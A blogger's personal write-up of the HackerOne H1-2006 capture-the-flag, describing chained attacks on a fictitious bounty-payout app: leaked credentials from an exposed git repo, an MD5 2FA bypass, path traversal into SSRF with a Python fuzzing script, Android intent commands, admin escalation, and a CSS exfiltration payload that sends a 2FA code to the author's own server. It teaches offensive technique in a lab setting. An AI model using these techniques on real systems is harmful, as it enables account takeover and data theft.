H1-2006 CTF Write-up

HackerOne recently held a CTF with the objective to hack a fictitious bounty payout application. While my write-up of this CTF is now public and can be seen here, this is a different kind of write-up where I will be more open and go into the areas where I had a lot of trouble. I’m still quite a newbie at hacking, and the CTF presented many problems for me.

Part One: Web

The only information we got for the CTF was the scope:

This is no different from hunting on a bug program, so I did the usual and fired up findomain and found all the subdomains:


I then used ffuf to look for interesting subdirectories and files on all the subdomains and found this: https://app.bountypay.h1ctf.com/.git
A git repository was hidden on the app subdomain, and I queried the usual files included in a git repo: HEAD and config.
Config pointed to the ‘real’ repository on GitHub where I found an interesting file mentioning a server log named bp_web_trace.log. Going to this log gave me a base64 hashed string that decoded to this:


As can be seen, these are server entry logs for a user logging in, and include username (brian.oliver), password (V7h0inzX) and a challenge answer (bD83Jk27dQ).

Using these credentials I logged in to app.bountypay.h1ctf.com and used the challenge answer to try and bypass the 2-factor authentication (2FA). It didn’t work though. Either this answer had expired or just wasn’t valid.
Looking in the source code for the 2FA page I found a challenge_value, a 32 character long string that looked a lot like an MD5 hash. I put this in hashcat to try and bruteforce it, but got no result. Thinking about it a little more, I wondered if the challenge_value was the MD5 sum of the challenge_answer from above, but no, that didn’t work either. I then tried replacing the challenge_value with the MD5 sum of the answer I had and sent this instead of the original challenge_value, hoping the server didn’t remember which challenge it sent. It worked! I had bypassed the 2FA.

I was now presented with the BountyPay Dashboard where I could load transactions, however all the entries were empty. Looking at the requests made I saw it queried the API subdomain, but trying to query that directly got “Missing or invalid token”. So everything had to go through the dashboard where I was authenticated.

An example reply from a Dashboard request

I started playing with the cookie which was a base64 encoded JSON string:


Notice how the account_id is also reflected in the API url in the screenshot above. After trying SQL injection in this value I tried a simple Path Traversal Ae8iJLkn9z../Ae8iJLkn9z – with this the API path stayed the same, indicating a possible Path Traversal vulnerability.
I tried getting ../../../../../etc/passwd but that didn’t work. Experimenting a bit more I understood that I could only query files within the web root, not outside. Getting ../../../index.html worked. Going back to the landing page of https://api.bountypay.h1ctf.com I looked again at the redirect function there.
When first I started the CTF I had tried redirecting to different pages and noticed that only www.google.com and *.bountypay.h1.ctf.com were allowed. One of those, software.bountypay.h1ctf.com, presented a 401 Unauthorized message if I visited it:

Thinking that since this page was blocked from remote IPs, maybe I could access it via the Path Traversal I just found: effectively an SSRF:


Notice how I had to include a hashtag (#) after the URL. At first the redirect didn’t work, I just got 404 Not Found. Then I noticed how the API URL included /statements?month=01&year=2020 which I needed to get rid of. The hashtag does that since the server will ignore everything after it.

I now had access to the software subdomain and was presented with a login form. This required a POST request which I couldn’t really think of any way to accomplish via SSRF. Sending a GET request with credentials didn’t work, so I got stuck here. After a pause and a walk I decided to try and fuzz the subdomain and wrote this quick script to do it (I later learned Burp Intruder could have done it for me using Payload Processing):

import requests
import base64
import urllib3


url = 'https://app.bountypay.h1ctf.com/statements?month=01&year=2020'
proxies = {"https":""}
wordlist = "wordlist.txt"
fd = open(wordlist, "r")
endpoints = fd.readlines()

# create cookie
for endpoint in endpoints: 
    endpoint = endpoint.rstrip()
    cookie = '{"account_id":"F8gHiqSdpK/../../../redirect?url=https://software.bountypay.h1ctf.com/' + endpoint + '#","hash":"de235bffd23df6995ad4e0930baac1a2"}'
    encodedCookie = base64.b64encode(cookie.encode("utf-8"))
    cookies = {"token":encodedCookie.decode("utf-8")}
    # Send request
    r = requests.get(url, cookies=cookies, proxies=proxies, verify=False)
    # Filter responses
    if not "404 Not Found" in r.text:
        print(endpoint + " did not return 404!")

Within a few minutes I had found the endpoint uploads/ and I could now grab the BountyPay.apk file:

Part Two: Mobile

Mobile hacking is something I always tell myself I want to learn, but never have time to do. While I have written a few small mobile applications using Android Studio this is pretty much the extent of my knowledge, so this next part was not easy for me.
To start with, a recent update to my Gentoo Linux desktop had broken the Android Studio virtual device manager, so I had to sort that out first. This took me a few hours but I was finally able to run the BountyPay application. In the meantime I decompiled the code using jadx-gui and took a look at the main functions. I learned that the application was separated into 3 ‘activities’ that required different actions (URLs) to accomplish.
I tried calling these functions directly in the Virtual Device using Intents, but didn’t have any success – most likely because I don’t know how.
I Googled around and found a few instructions on how to control an Android application directly using adb, something I have used a couple times in the past to either root or unbrick a device.
With a little more Googling (actually I use DuckDuckGo…) I learned that using am start I could run the Intents I was trying to get to work.
With a little help from a fellow hacker I was able to complete the first activity using:

am start -a android.intent.action.VIEW -d "one://part?start=PartTwoActivity"

I then looked at the decompiled code for how to pass the next activity and contructed a query to launch it.

String firstParam = data.getQueryParameter("two");
String secondParam = data.getQueryParameter("switch");
if (firstParam != null && firstParam.equals("light") &&
secondParam != null && secondParam.equals("on"))
am start -a android.intent.action.VIEW -d "two://part?two=light&switch=on"

The last activity required 3 parameters, two of which should be base64 encoded:

        if (getIntent() != null && getIntent().getData() != null) {
            Uri data = getIntent().getData();
            String firstParam = data.getQueryParameter("three");
            String secondParam = data.getQueryParameter("switch");
            String thirdParam = data.getQueryParameter("header");
            byte[] decodeFirstParam = Base64.decode(firstParam, 0);
            byte[] decodeSecondParam = Base64.decode(secondParam, 0);
            final String decodedFirstParam = new String(decodeFirstParam, StandardCharsets.UTF_8);
            final String decodedSecondParam = new String(decodeSecondParam, StandardCharsets.UTF_8);
            C04185 r17 = r0;
            DatabaseReference databaseReference = this.childRefThree;
            byte[] bArr = decodeSecondParam;
            final String str = firstParam;
            byte[] bArr2 = decodeFirstParam;
            final String str2 = secondParam;
            String str3 = secondParam;
            final String secondParam2 = thirdParam;
            String str4 = firstParam;
            final EditText editText2 = editText;
            Uri uri = data;
            final Button button2 = button;
            C04185 r0 = new ValueEventListener() {
                public void onDataChange(DataSnapshot dataSnapshot) {
                    String str;
                    String value = (String) dataSnapshot.getValue();
                    if (str != null && decodedFirstParam.equals("PartThreeActivity") && str2 != null && decodedSecondParam.equals("on") && (str = secondParam2) != null) {
                        if (str.equals("X-" + value)) {

I had a lot of trouble with this step. First, the value of the header was hard to identify in the code. I tried several before hitting upon the correct one, ‘Token’. Second, I was unsure what to do with the equal signs in the base64 string. If I omitted them, the string wasn’t accepted. If I left them in, the application either crashed or went back to the second activity, but this wasn’t very reliable. URL-encoding the equal signs worked however and I was able to complete the third activity.

am start -a android.intent.action.VIEW -d

Now I noticed in the attached logger (Android Studio attaches one by default) that the application printed an X-Token. The application asked me to verify it and I pasted it in and was presented with a ‘Congrats Activity’. Mobile challenge completed!

Part Three: Privesc

With the above X-Token I now had full access to api.bounty-h1ctf.com and could query the API. The /api/staff endpoint listed all the current staff, and I found out that by POSTing to this endpoint gave this error message :
409 Conflict “Staff Member already has an account”
I needed a new staff ID to create a new member, but didn’t have any luck brute forcing this value. Luckily HackerOne had posted an official hint on Twitter that showed the ID badge of a new hire, including a staff ID. I was able to create a new member with this ID and now had access to the staff portal.

The staff portal was a relatively simple application with little functionality, so it didn’t take long to go through it. After some time I found these 4 interesting vulnerabilities / hints:

  • The JavaScript file website.js referred to 2 interesting functions: upgradeToAdmin and a report URL, plus #tab{1,4} which were queried in the location hash.
  • Using the parameter username I could populate the login screen like this: https://staff.bountypay.h1ctf.com/?template=login&username=sandra.allison
  • Using arrays, I was able to chain templates together in the same site like this: https://staff.bountypay.h1ctf.com/?template[]=login&template[]=ticket&ticket_id=3582
  • There was an injection in the upgrade avatar functionality, but any non-alphanumerics were stripped away.

And this is where I got stuck. I tried SSRF in the report URL function but couldn’t get it to work. I also tried using the text injection in the avatar to get XSS, but without using special characters this was pretty much impossible. I didn’t see any way forward.

Instead of working on this alone I did the most important thing a hacker can do: collaborated. With the help of others I was able to put the above 4 things together and get a working exploit. One of the steps was completely new to me, and I still don’t understand it completely: definitely a technique I have to study more.

Turns out there exists something called “Event Bubbling”, where by passing one JavaScript event together with another associated function, causes them both to execute. In our case, if I could chain the tab1 function together with upgradeToAdmin, this second function would also execute.
Tab1 could be executed from the location.hash so I needed to specify this in the URL and then pass it to an admin so they could execute the upgradeToAdmin function. This function needed a username, but I already knew how to parse that with a parameter in the login template.
The avatar where I’d include the tab1 and upgradeToAdmin only showed on the ticket template page with a valid ticket_id, so I needed all these templates chained together:
This URL had everything needed and I just had to send it to the admin via the report URL function.

I reported the URL and then reloaded the staff portal. I noticed that a new tab had appeared called ‘admin’ – my exploit had worked, and I now had admin privileges!
Going the the admin page I found login credentials for Mårten Mickos, the CEO of HackerOne.

Part Four: 2FA Again

Mårten’s login credentials worked on app.bountypay.h1ctf.com, which again required me to bypass the same MD5 2FA challenge as before.
I was now able to see a transaction on the dashboard, apparently this was the bounties that had yet to be paid, totalling 210.300$.

Clicking ‘Pay’ lead to yet another 2FA which appeared to be the same as before so I again pasted the MD5 hash I had already used twice and expected to pass the 2FA. But of course it wouldn’t be so easy (it never is!).
Inspecting the 2FA I saw that loading the challenge made the browser send a POST request with a link to a CSS file via the app_style parameter.

Whenever a request includes a full link to a resource from another domain, this is a good sign of a vulnerability since an attacker can control this request. Pointing the app_style value to a webhook request worked and I could see the traffic from the BountyPay app.

Next step was to host a malicious CSS file on a server I control. However I discovered that the app would only contact secure HTTP domains, and my home server is not HTTPS. I needed another server with a valid certificate, and the only one I had was the one you’re reading this one. I probably broke several points of the TOS by temporarily hosting a CSS here…

To check that my hosted CSS worked I copied the default one and changed the background colour. However I didn’t see any change on the next page, so this was not where the CSS was used. This confused me, because where else would the CSS be used if not client-side? Again my collaborators helped me seeing the light and hinted that this was used server-side where the 2FA answers would be seen. They guided me to this blog post which explains how to do a CSS exfiltration attack.

The attack works like this: I already knew that the 2FA code would be up to 7 characters long (the 2FA only allowed for 7 characters to be input), and I worked on the assumption that these characters would be shown server-side where my CSS file was included. I didn’t know if the code was only letters, numbers, symbols or a combination of all.
So I queried each letter successively for each character of the 2FA code box. If the queried letter was the same as in the box, the CSS fetched a background-image from a server under my control (luckily I could use non-secure HTTP here). If not, it would proceed to the next letter.

On the first run I saw 5-6 characters randomly in my server log. So there were two further issues to solve: apparently some traffic got lost (or maybe some codes were only 5-6 characters long?), and I needed to be able to identify the sequence of the characters in the code. AABBAAA is not the same as BAAAAAB. I solved the first problem by running the attack several times until I had all 7 characters, and the second problem by appending a parameter to the background image URL.

I now had a working CSS attack (only the first few lines are shown, the full script is almost 500 lines long):

input[value=A]:nth-of-type(1) { background-image: url("http://almadjus.duckdns.org/data?1=A"); }
input[value=B]:nth-of-type(1) { background-image: url("http://almadjus.duckdns.org/data?1=B"); }
input[value=C]:nth-of-type(1) { background-image: url("http://almadjus.duckdns.org/data?1=C"); }
input[value=D]:nth-of-type(1) { background-image: url("http://almadjus.duckdns.org/data?1=D"); }
input[value=E]:nth-of-type(1) { background-image: url("http://almadjus.duckdns.org/data?1=E"); }
input[value=F]:nth-of-type(1) { background-image: url("http://almadjus.duckdns.org/data?1=F"); }

After a couple runs my server log had this:

The characters are out of order by easy to identify by the /data?n= parameter

Sending pBxUwRP as the 2FA answer was accepted and I had solved the CTF!

Final Words

The biggest thing I (once again) learned from this CTF is this: collaboration is the most important thing in hacking! One hacker can do much, but several working together can do wonders.
I want to once again thank @pirateducky, @simone_bovi, @fersingb and @GameritedYT for their invaluable help – together we hit harder!

Leave a Reply

Your email address will not be published.